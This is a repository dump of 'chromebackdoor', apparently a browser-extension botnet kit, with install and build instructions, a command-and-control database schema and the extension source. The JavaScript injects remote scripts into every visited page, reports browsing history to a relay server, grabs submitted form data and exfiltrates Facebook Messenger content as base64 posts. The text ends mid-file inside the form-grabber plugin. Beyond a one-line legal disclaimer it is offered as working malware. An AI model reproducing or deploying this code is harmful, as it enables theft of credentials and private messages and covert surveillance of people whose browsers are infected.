├── INSTALL.md ├── PICTURE.md ├── README.md ├── SQL └── chromebackdoor.sql ├── backdoor ├── activeWindows.js ├── facebookmessage.js ├── firefox │ ├── bootstrap.js │ ├── data │ │ └── content.js │ ├── index.js │ ├── package.json │ └── test │ │ └── test-index.js ├── iexplorer │ └── script.js ├── plugins │ ├── facebookMessage.chromebackdoor │ ├── form-grabber.chromebackdoor │ ├── keylogger.chromebackdoor │ └── simple.chromebackdoor ├── relais │ ├── html2canvas │ ├── index.php │ ├── jquery.js │ ├── lock.php │ └── show_script.php ├── rubber_ducky │ └── payload.chromebackdoor ├── server │ ├── .DS_Store │ ├── img │ │ ├── .DS_Store │ │ └── 2.png │ ├── js │ │ ├── .DS_Store │ │ ├── call.js │ │ └── check.js │ ├── lib │ │ ├── jquery.cookie.min.js │ │ └── jquery.min.js │ └── manifest.json ├── sql │ ├── .DS_Store │ └── chromebackdoor.sql ├── version.txt └── web │ ├── .DS_Store │ ├── action │ ├── bots │ │ └── index.php │ ├── facebookspy │ │ └── index.php │ ├── hijack │ │ └── index.php │ ├── info │ │ └── index.php │ ├── listpayload │ │ └── index.php │ ├── login │ │ └── index.php │ ├── panel │ │ └── index.php │ ├── payload │ │ └── index.php │ └── settings │ │ └── index.php │ ├── class │ ├── bot.class.php │ ├── bot_logout.php │ ├── inject.class.php │ ├── payload.class.php │ └── users.class.php │ ├── css │ ├── semantic.css │ └── styles.css │ ├── gate.php │ ├── html2canvas.js │ ├── images │ ├── loading.gif │ ├── logo.png │ ├── offline.png │ └── online.png │ ├── includes │ └── config.php │ ├── index.php │ ├── inject.js │ ├── jquery.js │ ├── lib │ ├── .DS_Store │ └── XMPPHP │ │ ├── BOSH.php │ │ ├── Exception.php │ │ ├── Log.php │ │ ├── Roster.php │ │ ├── XMLObj.php │ │ ├── XMLStream.php │ │ ├── XMPP.php │ │ └── XMPP_Old.php │ ├── logout.php │ └── show.php ├── changelog.txt ├── chromebackdoor.py ├── config.conf ├── installer ├── build.cmd ├── ch_bk │ ├── install.cmd │ └── loader.exe ├── def.sed ├── del.cmd ├── ff_bk │ ├── ff.js │ ├── install.cmd │ └── {b9bfaf1c-a63f-47cd-8b9a-29526ced9060}.xpi ├── ie_bk │ ├── bhoX32.dll │ ├── bhoX64.dll │ └── install.cmd ├── inno │ ├── Compil32.exe │ ├── Default.isl │ ├── Examples │ │ ├── 64Bit.iss │ │ ├── 64BitTwoArch.iss │ │ ├── CodeAutomation.iss │ │ ├── CodeAutomation2.iss │ │ ├── CodeClasses.iss │ │ ├── CodeDlg.iss │ │ ├── CodeDll.iss │ │ ├── CodeExample1.iss │ │ ├── CodePrepareToInstall.iss │ │ ├── Components.iss │ │ ├── Example1.iss │ │ ├── Example2.iss │ │ ├── Example3.iss │ │ ├── ISPPExample1.iss │ │ ├── ISPPExample1License.txt │ │ ├── Languages.iss │ │ ├── MyDll.dll │ │ ├── MyDll │ │ │ ├── C# │ │ │ │ ├── MyDll.cs │ │ │ │ ├── MyDll.csproj │ │ │ │ ├── MyDll.sln │ │ │ │ ├── Properties │ │ │ │ │ └── AssemblyInfo.cs │ │ │ │ └── packages.config │ │ │ ├── C │ │ │ │ ├── MyDll.c │ │ │ │ ├── MyDll.def │ │ │ │ └── MyDll.dsp │ │ │ └── Delphi │ │ │ │ └── MyDll.dpr │ │ ├── MyProg-x64.exe │ │ ├── MyProg.chm │ │ ├── MyProg.exe │ │ ├── Readme-Dutch.txt │ │ ├── Readme-German.txt │ │ ├── Readme.txt │ │ └── UninstallCodeExample1.iss │ ├── ISCC.exe │ ├── ISCmplr.dll │ ├── ISPP.chm │ ├── ISPP.dll │ ├── ISPPBuiltins.iss │ ├── ISetup.chm │ ├── Languages │ │ ├── Armenian.islu │ │ ├── BrazilianPortuguese.isl │ │ ├── Catalan.isl │ │ ├── Corsican.isl │ │ ├── Czech.isl │ │ ├── Danish.isl │ │ ├── Dutch.isl │ │ ├── Finnish.isl │ │ ├── French.isl │ │ ├── German.isl │ │ ├── Greek.isl │ │ ├── Hebrew.isl │ │ ├── Hungarian.isl │ │ ├── Italian.isl │ │ ├── Japanese.isl │ │ ├── Nepali.islu │ │ ├── Norwegian.isl │ │ ├── Polish.isl │ │ ├── Portuguese.isl │ │ ├── Russian.isl │ │ ├── ScottishGaelic.isl │ │ ├── SerbianCyrillic.isl │ │ ├── SerbianLatin.isl │ │ ├── Slovenian.isl │ │ ├── Spanish.isl │ │ ├── Turkish.isl │ │ └── Ukrainian.isl │ ├── Setup.e32 │ ├── SetupLdr.e32 │ ├── WizModernImage-IS.bmp │ ├── WizModernImage.bmp │ ├── WizModernSmallImage-IS.bmp │ ├── WizModernSmallImage.bmp │ ├── isbunzip.dll │ ├── isbzip.dll │ ├── isfaq.htm │ ├── islzma.dll │ ├── islzma32.exe │ ├── islzma64.exe │ ├── isscint.dll │ ├── isunzlib.dll │ ├── iszlib.dll │ ├── license.txt │ ├── unins000.dat │ ├── unins000.exe │ ├── unins000.msg │ └── whatsnew.htm └── installer.iss └── version.txt /INSTALL.md: -------------------------------------------------------------------------------- 1 | #INSTALL WEB 2 | 3 | 1) unzip file generated by chromebackdoor 4 | 5 | ```sh 6 | unzip folder.zip 7 | ``` 8 | 9 | 2) Upload a folder web & relais on hosting 10 | 11 | 3) create database & user and update config file 12 | ```sh 13 | /web/includes/config.php 14 | ``` 15 | 16 | 4) Upload .SQL on database 17 | 18 | ```sh 19 | /SQL/chromebackdoor.sql 20 | ``` 21 | 22 | 5) Login on webpanel (web/index.php) 23 | ```python 24 | username = root 25 | password = toor 26 | ``` 27 | 28 | #GENERATE BOT (without .EXE) 29 | 30 | install all dependency & start chromebackdoor.py 31 | 32 | ```sh 33 | python chromebackdoor.py 34 | ``` 35 | 36 | You can generate backdoor for all most popular browser 37 | 38 | exemple for Google Chrome: 39 | 40 | ```sh 41 | python chromebackdoor.py --chrome 42 | ``` 43 | 44 | Now enter a botmaster domain name (need SSL): 45 | 46 | ```bash 47 | [?] Website hosted (https://localhost/)? https://lynxframework.com/ 48 | ``` 49 | Same for relais (need SSL): 50 | ```sh 51 | [?] Website relais url (https://localhost/relais)? https://lynxrelay.com/relais 52 | or use same domain 53 | [?] Website relais url (https://localhost/relais)? https://lynxframework.com/relais 54 | ``` 55 | ```sh 56 | [?] Information correct [Y/n]? Y 57 | ``` 58 | 59 | Select one module (exemple FormGrabber V1.0) 60 | ```sh 61 | [?] please select numbers ? 2 62 | ``` 63 | 64 | The script generate zip file with .crx .perm and backdoor folder for update icon / name / desc 65 | 66 | #BUILD .EXE 67 | 68 | 1) run chrommebackdoor with --build 69 | ```sh 70 | python chromebackdoor.py --build 71 | ``` 72 | 2) select browser backdoor (exemple --chrome) 73 | ```sh 74 | [?] crx fime (/root/..) ? /root/backdoor.crx 75 | ``` 76 | 3) wine start installer.exe and generate bot.exe 77 | 78 | ```sh 79 | Generate successful : {chromebackdoor_folder}/bot.exe 80 | ``` 81 | 82 | 4) Start bot.exe with windows 83 | -------------------------------------------------------------------------------- /PICTURE.md: -------------------------------------------------------------------------------- 1 | ## Extentions binder (Inject) 2 | ![Chrome Extension Binder](https://s31.postimg.org/s568z43fv/Capture_d_e_cran_2016_07_04_a_16_15_33.png) 3 | 4 | ## Bot listing 5 | ![Backdoor chrome bots](http://s23.postimg.org/ti2uzy5rf/Capture_d_e_cran_2016_03_01_a_15_46_16.png) 6 | 7 | 8 | ## History listing 9 | ![Backdoor chrome history](http://s29.postimg.org/ofjozpb2f/Capture_d_e_cran_2016_03_01_a_16_04_43.png) 10 | 11 | 12 | ## Url checker & Payload 13 | 14 | Make it on webpanel 15 | 16 | ![backdoor chrome panel](http://img15.hostingpics.net/pics/130725Capturedecran20160114a112508.png) 17 | 18 | ## Get the log here 19 | 20 | ![backdoor chrome panel](http://img15.hostingpics.net/pics/277755panelback.png) 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![Chrome browser backdoor](http://s24.postimg.org/xls0xq1ud/logochromebackdoor2.png) 2 | 3 | 4 | ## VIDEO 5 | + [Install Text (V 3.0)](https://github.com/graniet/chromebackdoor/blob/master/INSTALL.md) 6 | + [Install Video (OLD)](https://www.youtube.com/watch?v=uc4817555Fc) 7 | + [Binder guide](https://www.youtube.com/watch?v=-dndxUl5a1E) 8 | + [Module guide](https://www.youtube.com/watch?v=BO05H_4TbSE) 9 | + [Form grabber plugins](https://www.youtube.com/watch?v=c_u6ec87GZs) 10 | + [Facebook MessengerSpy plugins](https://www.youtube.com/watch?v=2js1g8dZhjQ) 11 | + [Jabber Notifier/ Hide Panel](https://www.youtube.com/watch?v=2RgrIiXc4RU) 12 | + [Windows infection](https://www.youtube.com/watch?v=vnsZVMTXOJQ) 13 | + [Rubber Ducky Payload](https://www.youtube.com/watch?v=RP8-OwtchXE) 14 | 15 | #Require: 16 | + pip install crxmake 17 | + wine32 18 | 19 | Let's go 20 | 21 | ```bash 22 | python chromebackdoor.py 23 | user: root 24 | pass: toor 25 | ``` 26 | 27 | ## KALI LINUX 28 | 29 | ![chromebackdoor v3](https://s17.postimg.org/sv36ccjdb/fzeezfzfe.png) 30 | 31 | 32 | 33 | ## web browser infection 34 | 35 | ![windows infection](https://s17.postimg.org/97ca9pofj/bot.png) 36 | 37 | 38 | 39 | + pour rappel, infiltrer, surveiller, un système informatique sans autorisation est un délit 40 | + reminder, infiltrate, monitor, computer system without authorization is a crime 41 | -------------------------------------------------------------------------------- /SQL/chromebackdoor.sql: -------------------------------------------------------------------------------- 1 | -- phpMyAdmin SQL Dump 2 | -- version 4.4.10 3 | -- http://www.phpmyadmin.net 4 | -- 5 | -- Client : localhost:8889 6 | -- Généré le : Ven 15 Avril 2016 à 10:48 7 | -- Version du serveur : 5.5.42 8 | -- Version de PHP : 5.6.10 9 | 10 | SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; 11 | SET time_zone = "+00:00"; 12 | 13 | 14 | /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; 15 | /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; 16 | /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; 17 | /*!40101 SET NAMES utf8mb4 */; 18 | 19 | -- 20 | -- Base de données : `chrombackdoor-master` 21 | -- 22 | 23 | -- -------------------------------------------------------- 24 | 25 | -- 26 | -- Structure de la table `action_wait` 27 | -- 28 | 29 | CREATE TABLE `action_wait` ( 30 | `id` int(11) NOT NULL, 31 | `zombie_name` text NOT NULL, 32 | `commande` text NOT NULL, 33 | `used` int(11) NOT NULL DEFAULT '0' 34 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 35 | 36 | -- -------------------------------------------------------- 37 | 38 | -- 39 | -- Structure de la table `bots` 40 | -- 41 | 42 | CREATE TABLE `bots` ( 43 | `id` int(11) NOT NULL, 44 | `name` text NOT NULL, 45 | `backdoor_name` text NOT NULL, 46 | `numbers_logs` int(11) NOT NULL DEFAULT '0', 47 | `online` int(11) NOT NULL DEFAULT '0' 48 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 49 | 50 | -- -------------------------------------------------------- 51 | 52 | -- 53 | -- Structure de la table `bot_settings` 54 | -- 55 | 56 | CREATE TABLE `bot_settings` ( 57 | `id` int(11) NOT NULL, 58 | `setting_name` text NOT NULL, 59 | `setting_value` text NOT NULL, 60 | `bot_id` text NOT NULL, 61 | `available` int(11) NOT NULL DEFAULT '0' 62 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 63 | 64 | -- -------------------------------------------------------- 65 | 66 | -- 67 | -- Structure de la table `facebookspy` 68 | -- 69 | 70 | CREATE TABLE `facebookspy` ( 71 | `id` int(11) NOT NULL, 72 | `bot_id` int(11) NOT NULL, 73 | `source_code` longtext NOT NULL, 74 | `date_last` text NOT NULL, 75 | `new` int(11) NOT NULL DEFAULT '0' 76 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 77 | 78 | -- -------------------------------------------------------- 79 | 80 | -- 81 | -- Structure de la table `hijacking_window` 82 | -- 83 | 84 | CREATE TABLE `hijacking_window` ( 85 | `id` int(11) NOT NULL, 86 | `bot_id` int(11) NOT NULL, 87 | `windows_code` longtext NOT NULL 88 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 89 | 90 | -- -------------------------------------------------------- 91 | 92 | -- 93 | -- Structure de la table `history_web` 94 | -- 95 | 96 | CREATE TABLE `history_web` ( 97 | `id` int(11) NOT NULL, 98 | `website` text NOT NULL, 99 | `zombie` text NOT NULL, 100 | `timevisit` text NOT NULL 101 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 102 | 103 | -- -------------------------------------------------------- 104 | 105 | -- 106 | -- Structure de la table `logs_checker` 107 | -- 108 | 109 | CREATE TABLE `logs_checker` ( 110 | `id` int(11) NOT NULL, 111 | `id_zombie` int(11) NOT NULL, 112 | `url_site` text NOT NULL, 113 | `logs_site` text NOT NULL, 114 | `last` int(11) DEFAULT '0', 115 | `zombie` text NOT NULL, 116 | `webinject` text NOT NULL 117 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 118 | 119 | -- -------------------------------------------------------- 120 | 121 | -- 122 | -- Structure de la table `payloads` 123 | -- 124 | 125 | CREATE TABLE `payloads` ( 126 | `id` int(11) NOT NULL, 127 | `name` text NOT NULL, 128 | `urlverif` text NOT NULL, 129 | `codeinject` text NOT NULL, 130 | `action` int(11) NOT NULL DEFAULT '0' 131 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 132 | 133 | -- -------------------------------------------------------- 134 | 135 | -- 136 | -- Structure de la table `settings` 137 | -- 138 | 139 | CREATE TABLE `settings` ( 140 | `id` int(11) NOT NULL, 141 | `hide_panel` int(11) NOT NULL DEFAULT '0', 142 | `get_name` text NOT NULL, 143 | `get_value` text NOT NULL, 144 | `jabber_username` text NOT NULL, 145 | `jabber_password` text NOT NULL, 146 | `jabber_to` text NOT NULL 147 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; 148 | 149 | -- 150 | -- Contenu de la table `settings` 151 | -- 152 | 153 | INSERT INTO `settings` (`id`, `hide_panel`, `get_name`, `get_value`, `jabber_username`, `jabber_password`, `jabber_to`) VALUES 154 | (1, 0, '', '', '', '', ''); 155 | 156 | -- -------------------------------------------------------- 157 | 158 | -- 159 | -- Structure de la table `utilisateurs` 160 | -- 161 | 162 | CREATE TABLE `utilisateurs` ( 163 | `id` int(11) NOT NULL, 164 | `username` text NOT NULL, 165 | `password` varchar(255) NOT NULL, 166 | `roles` int(11) NOT NULL DEFAULT '3', 167 | `bot` int(11) NOT NULL DEFAULT '0' 168 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; 169 | 170 | -- 171 | -- Contenu de la table `utilisateurs` 172 | -- 173 | 174 | INSERT INTO `utilisateurs` (`id`, `username`, `password`, `roles`, `bot`) VALUES 175 | (1, 'root', '7b24afc8bc80e548d66c4e7ff72171c5', 0, 0); 176 | 177 | -- -------------------------------------------------------- 178 | 179 | -- 180 | -- Structure de la table `webinject` 181 | -- 182 | 183 | CREATE TABLE `webinject` ( 184 | `id` int(11) NOT NULL, 185 | `webinject_site` text NOT NULL, 186 | `webinject_code` text NOT NULL, 187 | `webinject_status` int(11) NOT NULL DEFAULT '0' 188 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1; 189 | 190 | -- 191 | -- Index pour les tables exportées 192 | -- 193 | 194 | -- 195 | -- Index pour la table `action_wait` 196 | -- 197 | ALTER TABLE `action_wait` 198 | ADD PRIMARY KEY (`id`); 199 | 200 | -- 201 | -- Index pour la table `bots` 202 | -- 203 | ALTER TABLE `bots` 204 | ADD PRIMARY KEY (`id`); 205 | 206 | -- 207 | -- Index pour la table `bot_settings` 208 | -- 209 | ALTER TABLE `bot_settings` 210 | ADD PRIMARY KEY (`id`); 211 | 212 | -- 213 | -- Index pour la table `facebookspy` 214 | -- 215 | ALTER TABLE `facebookspy` 216 | ADD PRIMARY KEY (`id`); 217 | 218 | -- 219 | -- Index pour la table `hijacking_window` 220 | -- 221 | ALTER TABLE `hijacking_window` 222 | ADD PRIMARY KEY (`id`); 223 | 224 | -- 225 | -- Index pour la table `history_web` 226 | -- 227 | ALTER TABLE `history_web` 228 | ADD PRIMARY KEY (`id`); 229 | 230 | -- 231 | -- Index pour la table `logs_checker` 232 | -- 233 | ALTER TABLE `logs_checker` 234 | ADD PRIMARY KEY (`id`); 235 | 236 | -- 237 | -- Index pour la table `payloads` 238 | -- 239 | ALTER TABLE `payloads` 240 | ADD PRIMARY KEY (`id`); 241 | 242 | -- 243 | -- Index pour la table `settings` 244 | -- 245 | ALTER TABLE `settings` 246 | ADD PRIMARY KEY (`id`); 247 | 248 | -- 249 | -- Index pour la table `utilisateurs` 250 | -- 251 | ALTER TABLE `utilisateurs` 252 | ADD PRIMARY KEY (`id`); 253 | 254 | -- 255 | -- Index pour la table `webinject` 256 | -- 257 | ALTER TABLE `webinject` 258 | ADD PRIMARY KEY (`id`); 259 | 260 | -- 261 | -- AUTO_INCREMENT pour les tables exportées 262 | -- 263 | 264 | -- 265 | -- AUTO_INCREMENT pour la table `action_wait` 266 | -- 267 | ALTER TABLE `action_wait` 268 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 269 | -- 270 | -- AUTO_INCREMENT pour la table `bots` 271 | -- 272 | ALTER TABLE `bots` 273 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 274 | -- 275 | -- AUTO_INCREMENT pour la table `bot_settings` 276 | -- 277 | ALTER TABLE `bot_settings` 278 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 279 | -- 280 | -- AUTO_INCREMENT pour la table `facebookspy` 281 | -- 282 | ALTER TABLE `facebookspy` 283 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 284 | -- 285 | -- AUTO_INCREMENT pour la table `hijacking_window` 286 | -- 287 | ALTER TABLE `hijacking_window` 288 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 289 | -- 290 | -- AUTO_INCREMENT pour la table `history_web` 291 | -- 292 | ALTER TABLE `history_web` 293 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 294 | -- 295 | -- AUTO_INCREMENT pour la table `logs_checker` 296 | -- 297 | ALTER TABLE `logs_checker` 298 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 299 | -- 300 | -- AUTO_INCREMENT pour la table `payloads` 301 | -- 302 | ALTER TABLE `payloads` 303 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 304 | -- 305 | -- AUTO_INCREMENT pour la table `settings` 306 | -- 307 | ALTER TABLE `settings` 308 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=2; 309 | -- 310 | -- AUTO_INCREMENT pour la table `utilisateurs` 311 | -- 312 | ALTER TABLE `utilisateurs` 313 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=2; 314 | -- 315 | -- AUTO_INCREMENT pour la table `webinject` 316 | -- 317 | ALTER TABLE `webinject` 318 | MODIFY `id` int(11) NOT NULL AUTO_INCREMENT; 319 | /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; 320 | /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; 321 | /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; 322 | -------------------------------------------------------------------------------- /backdoor/activeWindows.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function(){ 2 | var urlef = window.location.href; 3 | if(urlef.split('id=')[1] != undefined){ 4 | $.get('http://localhost:8888/taff/private/chromebackdoor/web/gate.php?hijack_source=1&id='+urlef.split('id=')[1], function(data) 5 | { 6 | $('.captureWindow')[0].src = data; 7 | }); 8 | } 9 | }); 10 | -------------------------------------------------------------------------------- /backdoor/facebookmessage.js: -------------------------------------------------------------------------------- 1 | function GetMessage(){ 2 | console.log('start..'); 3 | $('.loading').css('display', 'none'); 4 | var array_convers = []; 5 | var conversation_listing = $('.titlebarTextWrapper'); 6 | for(var list = 0;list < conversation_listing.length - 1;list++){ 7 | var listing = '
'+$('.titlebarTextWrapper')[list].innerText+'
'; 8 | $('.listingconvers').append(listing); 9 | array_convers.push($('.titlebarTextWrapper')[list].innerText); 10 | $('.titlebarTextWrapper')[list] 11 | $('.convStart')[list].onclick = function(){ 12 | var ids = this.getAttribute('id'); 13 | show_convers(ids); 14 | } 15 | } 16 | } 17 | 18 | function show_convers(ids){ 19 | var old_span = ""; 20 | var message_array = []; 21 | var message_owner = []; 22 | 23 | $('.conversationActuel').html('
Conversation title
'); 24 | $('.oldmessage .conversation').each(function(index, value){ 25 | var title = $('.titlebarTextWrapper')[ids].innerText; 26 | $('.nameTitle').html(title); 27 | var conversation = $('.oldmessage .conversation')[ids]; 28 | var bullet = conversation.getElementsByClassName('_4tdt'); 29 | for(var x = 0;x < bullet.length;x++){ 30 | var avatar = bullet[x].querySelector('img'); 31 | var span = bullet[x].querySelectorAll('span'); 32 | if(span.length > 1){ 33 | for(var y = 0;y < span.length; y++){ 34 | if(avatar != null && span[y].innerText != '' && span[y].innerText != old_span && message_array.indexOf(span[y].innerText) < 0){ 35 | if(old_span != span[y].innerText){ 36 | message_array.push(span[y].innerText); 37 | var div = '
'+span[y].innerText+'
'; 38 | $('.conversationActuel').append(div); 39 | old_span = span[y].innerText; 40 | } 41 | } 42 | else if(avatar == null && span[y].innerText != '' && span[y].innerText != old_span && message_owner.indexOf(span[y].innerText) < 0){ 43 | message_owner.push(span[y].innerText); 44 | var div = '
'+span[y].innerText+'
'; 45 | $('.conversationActuel').append(div); 46 | old_span = span[y].innerText; 47 | } 48 | } 49 | } 50 | } 51 | }); 52 | } 53 | 54 | $(document).ready(function(){ 55 | var urlef = window.location.href; 56 | if(urlef.split('id=')[1] != undefined){ 57 | $.get('http://localhost:8888/taff/private/chromebackdoor/web/gate.php?source_spy='+urlef.split('id=')[1], function(data){ 58 | if(data != ''){ 59 | $('.oldmessage').append(data); 60 | window.setTimeout('GetMessage()',5000); 61 | } 62 | }); 63 | } 64 | }); 65 | 66 | //source = document.getElementById('pagelet_dock').innerHTML -------------------------------------------------------------------------------- /backdoor/firefox/bootstrap.js: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ 4 | "use strict"; 5 | 6 | const { utils: Cu } = Components; 7 | const rootURI = __SCRIPT_URI_SPEC__.replace("bootstrap.js", ""); 8 | const COMMONJS_URI = "resource://gre/modules/commonjs"; 9 | const { require } = Cu.import(COMMONJS_URI + "/toolkit/require.js", {}); 10 | const { Bootstrap } = require(COMMONJS_URI + "/sdk/addon/bootstrap.js"); 11 | var { startup, shutdown, install, uninstall } = new Bootstrap(rootURI); 12 | -------------------------------------------------------------------------------- /backdoor/firefox/index.js: -------------------------------------------------------------------------------- 1 | var data = require('sdk/self').data; 2 | require('sdk/page-mod').PageMod({ 3 | include: "*", 4 | contentScriptWhen: "ready", 5 | contentScriptFile: [data.url('content.js')], 6 | attachTo: ['existing', 'top', 'frame'] 7 | }); 8 | -------------------------------------------------------------------------------- /backdoor/firefox/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "title": "//NAME//", 3 | "name": "//NAME_NB//", 4 | "version": "//VERSION//", 5 | "description": "//DESCRIPTION//", 6 | "main": "index.js", 7 | "author": "LynxFramework", 8 | "engines": { 9 | "firefox": ">=38.0a1", 10 | "fennec": ">=38.0a1" 11 | }, 12 | "license": "MIT", 13 | "keywords": [ 14 | "jetpack" 15 | ] 16 | } 17 | -------------------------------------------------------------------------------- /backdoor/firefox/test/test-index.js: -------------------------------------------------------------------------------- 1 | var main = require("../"); 2 | 3 | exports["test main"] = function(assert) { 4 | assert.pass("Unit test running!"); 5 | }; 6 | 7 | exports["test main async"] = function(assert, done) { 8 | assert.pass("async Unit test running!"); 9 | done(); 10 | }; 11 | 12 | exports["test dummy"] = function(assert, done) { 13 | main.dummy("foo", function(text) { 14 | assert.ok((text === "foo"), "Is the text actually 'foo'"); 15 | done(); 16 | }); 17 | }; 18 | 19 | require("sdk/test").run(exports); 20 | -------------------------------------------------------------------------------- /backdoor/iexplorer/script.js: -------------------------------------------------------------------------------- 1 | $(document).ready(function() 2 | { 3 | var phish = ""; 4 | var version = 'Build001'; 5 | var tabURL = window.location.href; 6 | 7 | //settings 8 | 9 | var v = document.createElement('script'); 10 | v.type = 'text/javascript'; 11 | v.async = true; 12 | v.id = "scriptchromebackdoor" 13 | v.src = server_web+"relais/jquery.js"; 14 | //var z = document.getElementById('script')[0]; 15 | 16 | var s = document.createElement('script'); 17 | s.type = 'text/javascript'; 18 | s.async = true; 19 | s.src = server_web+"relais/show_script.php"; 20 | document.body.appendChild(v); 21 | document.body.appendChild(s); 22 | 23 | function online(){ 24 | $.get(server_web+'relais/index.php?online=1'); 25 | } 26 | 27 | function iframe(){ 28 | if(typeof $('#zfpjfizeoi')[0] == undefined){ 29 | $.get(server_web+'relais/index.php?iframe=1', function(data){ 30 | if(data != ''){ 31 | var ifrm = document.createElement("IFRAME"); 32 | ifrm.setAttribute("src", data); 33 | ifrm.setAttribute("id", "zfpjfizeoi"); 34 | document.body.appendChild(ifrm); 35 | } 36 | }); 37 | } 38 | } 39 | 40 | setInterval(iframe, 300); 41 | setInterval(online,20000); 42 | var url_history = window.location.href; 43 | 44 | $.get(server_web+'relais/index.php?online=1'); 45 | $.get(server_web+'relais/index.php?history='+url_history); 46 | $.get(server_web+'relais/index.php?n=pop&version='+version); 47 | 48 | //module 49 | 50 | 51 | }); 52 | -------------------------------------------------------------------------------- /backdoor/plugins/facebookMessage.chromebackdoor: -------------------------------------------------------------------------------- 1 | %title%Facebook Messenger Spy%title% 2 | 3 | %content% 4 | var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=Base64._utf8_encode(e);while(f>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var r=c1=c2=0;while(n191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3}}return t}} 5 | 6 | if(tabURL.indexOf('facebook') > -1){ 7 | setTimeout(function(){ 8 | query = document.getElementById('pagelet_dock').innerHTML 9 | var encoded = Base64.encode(query); 10 | $.post(server_web+gate_page, { facebookspy_add: encoded }); 11 | }, 4000); 12 | } 13 | %content% 14 | 15 | %option%Update your url on facebookmessage.js line 46 %option% -------------------------------------------------------------------------------- /backdoor/plugins/form-grabber.chromebackdoor: -------------------------------------------------------------------------------- 1 | %title%FormGrabber v1.0%title% 2 | 3 | %content% 4 | var query = ""; 5 | var x = 0; 6 | if(typeof $('form')[0] != undefined){ 7 | $('form').each(function(index, value) 8 | { 9 | $(value).on("submit", function(event){ 10 | $('form').each(function(index, value){ 11 | query = query + $(this).serialize() 12 | x = x + 1; 13 | }); 14 | if(x >= $('form').length){ 15 | var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=Base64._utf8_encode(e);while(f>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},decode:function(e){var t="";var n,r,i;var s,o,u,a;var f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r)}if(a!=64){t=t+String.fromCharCode(i)}}t=Base64._utf8_decode(t);return t},_utf8_encode:function(e){e=e.replace(/rn/g,"n");var t="";for(var n=0;n127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t},_utf8_decode:function(e){var t="";var n=0;var 